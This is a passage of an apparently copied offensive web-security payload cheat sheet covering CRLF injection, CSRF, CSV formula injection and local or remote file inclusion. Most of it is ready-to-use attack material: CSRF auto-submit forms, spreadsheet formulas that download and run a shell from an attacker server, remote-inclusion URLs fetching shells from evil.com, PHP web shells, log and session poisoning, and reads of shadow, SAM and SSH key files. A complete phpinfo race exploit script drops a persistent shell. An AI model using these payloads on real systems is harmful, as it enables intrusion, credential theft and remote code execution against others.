%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
```

Remainder:

* %E5%98%8A = %0A = \u560a
* %E5%98%8D = %0D = \u560d
* %E5%98%BE = %3E = \u563e (>)
* %E5%98%BC = %3C = \u563c (<)

## Exploitation Tricks

* Try to search for parameters that lead to redirects and fuzz them
* Also test the mobile version of the website, sometimes it is different or uses a different backend

## CRLF Injections

```
/%%0a0aSet-Cookie:crlf=injection
/%0aSet-Cookie:crlf=injection
/%0d%0aSet-Cookie:crlf=injection
/%0dSet-Cookie:crlf=injection
/%23%0aSet-Cookie:crlf=injection
/%23%0d%0aSet-Cookie:crlf=injection
/%23%0dSet-Cookie:crlf=injection
/%25%30%61Set-Cookie:crlf=injection
/%25%30aSet-Cookie:crlf=injection
/%250aSet-Cookie:crlf=injection
/%25250aSet-Cookie:crlf=injection
/%2e%2e%2f%0d%0aSet-Cookie:crlf=injection
/%2f%2e%2e%0d%0aSet-Cookie:crlf=injection
/%2F..%0d%0aSet-Cookie:crlf=injection
/%3f%0d%0aSet-Cookie:crlf=injection
/%3f%0dSet-Cookie:crlf=injection
/%u000aSet-Cookie:crlf=injection
```

## References

* <https://www.owasp.org/index.php/CRLF\\_Injection>
* <https://vulners.com/hackerone/H1:192749>


# Cross-Site Request Forgery

> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP

## Summary

* [Methodology](broken://pages/d19hGdz30czumEyoVATc)
* [Payloads](broken://pages/d19hGdz30czumEyoVATc)
  * [HTML GET - Requiring User Interaction](broken://pages/d19hGdz30czumEyoVATc)
  * [HTML GET - No User Interaction)](broken://pages/d19hGdz30czumEyoVATc)
  * [HTML POST - Requiring User Interaction](broken://pages/d19hGdz30czumEyoVATc)
  * [HTML POST - AutoSubmit - No User Interaction](broken://pages/d19hGdz30czumEyoVATc)
  * [JSON GET - Simple Request](broken://pages/d19hGdz30czumEyoVATc)
  * [JSON POST - Simple Request](broken://pages/d19hGdz30czumEyoVATc)
  * [JSON POST - Complex Request](broken://pages/d19hGdz30czumEyoVATc)
* [Bypass referer header validation check](broken://pages/d19hGdz30czumEyoVATc)
  * [Basic payload](broken://pages/d19hGdz30czumEyoVATc)
  * [With question mark payload](broken://pages/d19hGdz30czumEyoVATc)
  * [With semicolon payload](broken://pages/d19hGdz30czumEyoVATc)
  * [With subdomain payload](broken://pages/d19hGdz30czumEyoVATc)
* [References](broken://pages/d19hGdz30czumEyoVATc)

## Tools

* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)

## Methodology

![CSRF\_cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20Injection/Images/CSRF-CheatSheet.png?raw=true)

## Payloads

When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.

### HTML GET - Requiring User Interaction

```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```

### HTML GET - No User Interaction

```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```

### HTML POST - Requiring User Interaction

```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
```

### HTML POST - AutoSubmit - No User Interaction

```html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>
```

### JSON GET - Simple Request

```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```

### JSON POST - Simple Request

```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
```

### JSON POST - Complex Request

```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```

## Bypass referer header validation

### Basic payload

```
1) Open https://attacker.com/csrf.html
2) Referer header is ..

Referer: https://attacker.com/csrf.html
```

### With question mark(`?`) payload

```
1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html?trusted.domain.com
```

### With semicolon(`;`) payload

```
1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..

Referer: https://attacker.com/csrf.html;trusted.domain.com
```

### With subdomain payload

```
1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..

Referer: https://trusted.domain.com.attacker.com/csrf.html
```

## References

* [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
* [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF\))
* [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/)
* [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
* [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
* [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
* [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
* [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya\_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
* [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
* [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
* [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
* [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
* [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
* [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)


# CSV Injection (Formula Injection)

Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.

## Exploit

Basic exploit with Dynamic Data Exchange

```powershell
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
=    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A
```

Technical Details of the above payload:

* `cmd` is the name the server can respond to whenever a client is trying to access the server
* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data

Any formula can be started with

```powershell
=
+
–
@
```

## References

* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)


# File Inclusion

> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application

## Summary

* [Tools](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [Basic LFI](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Null byte](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Double encoding](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [UTF-8 encoding](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Path and dot truncation](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Filter bypass tricks](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [Basic RFI](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI / RFI using wrappers](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper php://filter](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper zip://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper data://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper expect://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper input://](broken://pages/YJcWkRQsNlU5xuEXBevW)
  * [Wrapper phar://](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via /proc/\*/fd](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via /proc/self/environ](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via upload](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via upload (race)](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via upload (FindFirstFile)](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via phpinfo()](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via controlled log file](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via PHP sessions](broken://pages/YJcWkRQsNlU5xuEXBevW)
* [LFI to RCE via credentials files](broken://pages/YJcWkRQsNlU5xuEXBevW)

## Tools

* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic)

## Basic LFI

In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.

```powershell
http://example.com/index.php?page=../../../etc/passwd
```

### Null byte

:warning: In versions of PHP below 5.3.4 we can terminate with null byte.

```powershell
http://example.com/index.php?page=../../../etc/passwd%00
```

### Double encoding

```powershell
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### UTF-8 encoding

```powershell
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
```

### Path and dot truncation

On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.

```powershell
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
```

### Filter bypass tricks

```powershell
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```

## Basic RFI

Most of the filter bypasses from LFI section can be reused for RFI.

```powershell
http://example.com/index.php?page=http://evil.com/shell.txt
```

### Null byte

```powershell
http://example.com/index.php?page=http://evil.com/shell.txt%00
```

### Double encoding

```powershell
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
```

### Bypass allow\_url\_include

When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.

1. Create a share open to everyone
2. Write a PHP code inside a file : `shell.php`
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`

## LFI / RFI using wrappers

### Wrapper php\://filter

The part "php\://filter" is case insensitive

```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

can be chained with a compression wrapper for large files.

```powershell
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

NOTE: Wrappers can be chained multiple times using `|` or `/`:

* Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
* deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`

```powershell
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
```

### Wrapper zip\://

```python
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```powershell
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

### Wrapper expect://

```powershell
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple `curl` command.

```powershell
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
```

Alternatively, Kadimus has a module to automate this attack.

```powershell
./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input
```

### Wrapper phar://

Create a phar file with a serialized object in its meta-data.

```php
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
```

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method \_\_destruct() or \_\_wakeup() defined, then those methods are automatically invoked

```php
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');
```

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.

## LFI to RCE via /proc/\*/fd

1. Upload a lot of shells (for example : 100)
2. Include <http://example.com/index.php?page=/proc/$PID/fd/$FD>, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

## LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

## LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

## LFI to RCE via upload (race)

Worlds Quitest Let's Play"

* Upload a file and trigger a self-inclusion.
* Repeat 1 a shitload of time to:
* increase our odds of winning the race
* increase our guessing odds
* Bruteforce the inclusion of /tmp/\[0-9a-zA-Z]{6}
* Enjoy our shell.

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

## LFI to RCE via upload (FindFirstFile)

:warning: Only works on Windows

`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows.

* Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`.
* Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<`

## LFI to RCE via phpinfo()

PHPinfo() displays the content of any variables such as **$\_GET**, **$\_POST** and **$\_FILES**.

> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script phpInfoLFI.py (also available at <https://www.insomniasec.com/downloads/publications/phpinfolfi.py>)

Research from <https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf>

## LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```

### RCE via SSH

Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.

```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```

Then include the SSH log files inside the Web Application.

```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```

### RCE via Mail

First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.

```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```

In some cases you can also send the email with the `mail` command line.

```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```

### RCE via Apache logs

Poison the User-Agent in access logs:

```
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

```
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```

## LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into /var/lib/php5/sess\_\[PHPSESSID] or /var/lib/php/session/sess\_\[PHPSESSID] files

```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```

## LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

### Windows version

First extract `sam` and `system` files.

```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```

Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.

### Linux version

First extract `/etc/shadow` files.

```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id\_rsa. If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.

## References

* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
* [Turning LFI to RFI](https://l.avala.mp/?p=241)
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)


# PHPINFOlfi.py

```
#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
# The following line is not required but supposedly optimizes code.  
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16.  This can be a pain to revert.
# from builtins import range
from __future__ import print_function
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =>")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\nGot it! Shell created in /tmp/g")
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =>")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print("found %s at %i" % (d[i:i+10],i))
    # padded up a bit
    return i+256

def main():

    print("LFI With PHPInfo()")
    print("-=" * 30)

    if len(sys.argv) < 2:
        print("Usage: %s host [port] [threads]" % sys.argv[0])
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("Error with hostname %s: %s" % (sys.argv[1], e))
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with port %d: %s" % (sys.argv[2], e))
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError as e:
        print("Error with poolsz %d: %s" % (sys.argv[3], e))
        sys.exit(1)

    print("Getting initial offset...", end=' ')
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print("Spawning worker pool (%d)..." % poolsz)
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print()
        if e.is_set():
            print("Woot!  \m/")
        else:
            print(":(")
    except KeyboardInterrupt:
        print("\nTelling threads to shutdown...")
        e.set()

    print("Shuttin' down...")
    for t in tp:
        t.join()

if __name__=="__main__":
    print("Don't forget to modify the LFI URL")
    main()

```


# uploadlfi.py

```
from __future__ import print_function
from builtins import range
import itertools
import requests
import string
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
